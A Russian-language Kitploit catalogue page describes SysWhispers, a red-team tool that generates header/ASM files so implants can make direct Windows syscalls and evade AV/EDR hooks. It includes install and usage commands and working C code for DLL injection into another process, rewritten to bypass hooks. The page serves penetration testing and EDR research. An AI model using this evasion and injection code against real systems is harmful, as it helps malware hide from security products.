Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SysWhispers — Обход AV/EDR с помощью прямых системных вызовов. | Kitploit
Инструменты/GitHubGitHub/jthuraisamy/syswhispers
ЭксплуатацияОбход IDS/IPSШелл-кодТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubjthuraisamy/syswhispers

SysWhispers

Обход AV/EDR с помощью прямых системных вызовов.

Репозиторий
2.0k2775 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SysWhispers

SysWhispers помогает с обходом защиты, генерируя файлы заголовков/ASM, которые импланты могут использовать для прямых системных вызовов.

Поддерживаются все основные системные вызовы от Windows XP до Windows 10 19042 (20H2). Примеры сгенерированных файлов доступны в папке example-output/.

Введение

Различные продукты безопасности устанавливают перехватчики в пользовательские API, позволяя им перенаправлять поток выполнения в свои движки и обнаруживать подозрительное поведение. Функции в ntdll.dll, выполняющие системные вызовы, состоят всего из нескольких инструкций ассемблера, поэтому их повторная реализация в вашем собственном импланте может обойти срабатывание этих перехватчиков. Эта техника была популяризирована @Cn33liz, а в его статье в блоге содержится больше технических деталей, которые стоит прочитать.

SysWhispers предоставляет специалистам по красным командам возможность генерировать пары заголовок/ASM для любого системного вызова в образе ядра (ntoskrnl.exe) для любой версии Windows, начиная с XP. Заголовки также будут включать необходимые определения типов.

Основное отличие реализации от Dumpert POC заключается в том, что здесь не вызывается RtlGetVersion для запроса версии ОС, вместо этого это делается в ассемблере путём прямого запроса PEB. Преимущество в том, что можно вызывать одну функцию, поддерживающую несколько версий Windows, вместо вызова нескольких функций, каждая из которых поддерживает одну версию.

Установка

root@kitploit:~
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help

Использование и примеры

Командные строки

root@kitploit:~
# Экспорт всех функций с совместимостью для всех поддерживаемых версий Windows (см. example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# Экспорт только общих функций с совместимостью для Windows 7, 8 и 10.
py .\syswhispers.py --preset common -o syscalls_common

# Экспорт NtProtectVirtualMemory и NtWriteVirtualMemory с совместимостью для всех версий.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

# Экспорт всех функций с совместимостью для Windows 7, 8 и 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

Вывод скрипта

root@kitploit:~
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom

  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019

SysWhispers: Why call the kernel when you can whisper?

Common functions selected.

Complete! Files written to:
        syscom.asm
        syscom.h

Пример до и после классической инъекции DLL через CreateRemoteThread

root@kitploit:~
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
root@kitploit:~
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
root@kitploit:~
#include <Windows.h>
#include "syscalls.h" // Импортируем сгенерированный заголовок.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

Общие функции

Использование переключателя --preset common создаст пару заголовок/ASM со следующими функциями:

Нажмите, чтобы развернуть список функций.
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

Импорт в Visual Studio

  1. Скопируйте сгенерированные файлы H/ASM в папку проекта.
  2. В Visual Studio перейдите в Project → Build Customizations... и включите MASM.
  3. В Solution Explorer добавьте файлы .h и .asm в проект как файлы заголовка и исходного кода соответственно.
  4. Перейдите в свойства файла ASM и установите Item Type в Microsoft Macro Assembler.
  5. Убедитесь, что платформа проекта установлена на x64. 32-разрядные проекты в настоящее время не поддерживаются.

Ограничения и предостережения

  • В настоящее время поддерживается только 64-разрядная Windows.
  • Системные вызовы из графической подсистемы (win32k.sys) не поддерживаются.
  • Протестировано на Visual Studio 2019 (v142) с Windows 10 SDK.

Устранение неполадок

  • ModuleNotFoundError в Python-скрипте.
    • Убедитесь, что необходимые модули установлены с помощью pip3 install -r requirements.txt.
  • Ошибки переопределения типов: проект может не компилироваться, если typedefs в syscalls.h уже были определены.
    • Убедитесь, что включены только необходимые функции (т. е. --preset all редко требуется).
    • Если typedef уже определён в другом используемом заголовке, его можно удалить из syscalls.h.

Благодарности

Этот скрипт был разработан @Jackson_T, но основан на работе многих других:

  • @j00ru за поддержку номеров системных вызовов в машиночитаемых форматах.
  • @FoxHex0ne за каталогизацию множества прототипов функций и typedefs в машиночитаемом формате.
  • @PetrBenes, команда NTInternals.net и MSDN за дополнительные прототипы и typedefs.
  • @Cn33liz за первоначальную реализацию Dumpert POC.

Особая благодарность @Dcept905 за тестирование и предложения.

Связанные статьи и проекты

  • @0x00dtm: Userland API Monitoring and Code Injection Detection
  • @0x00dtm: Defeating Userland Hooks (ft. Bitdefender) (Code)
  • @Cn33liz: Combining Direct System Calls and sRDI to bypass AV/EDR (Code)
  • @mrgretzky: Defeating Antivirus Real-time Protection From The Inside
  • @SpecialHoang: Bypass EDR’s memory protection, introduction to hooking (Code)
  • @xpn and @domchell: Silencing Cylance: A Case Study in Modern EDRs
  • @mrjefftang: Universal Unhooking: Blinding Security Software (Code)
  • @spotheplanet: Full DLL Unhooking with C++
  • @hasherezade: Floki Bot and the stealthy dropper

Лицензия

Этот проект лицензирован в соответствии с Apache License 2.0.

Скачать инструмент
  • @hodg87: Latest Trickbot Variant has New Tricks Up Its Sleeve
  • @hodg87: Malware Mitigation when Direct System Calls are Used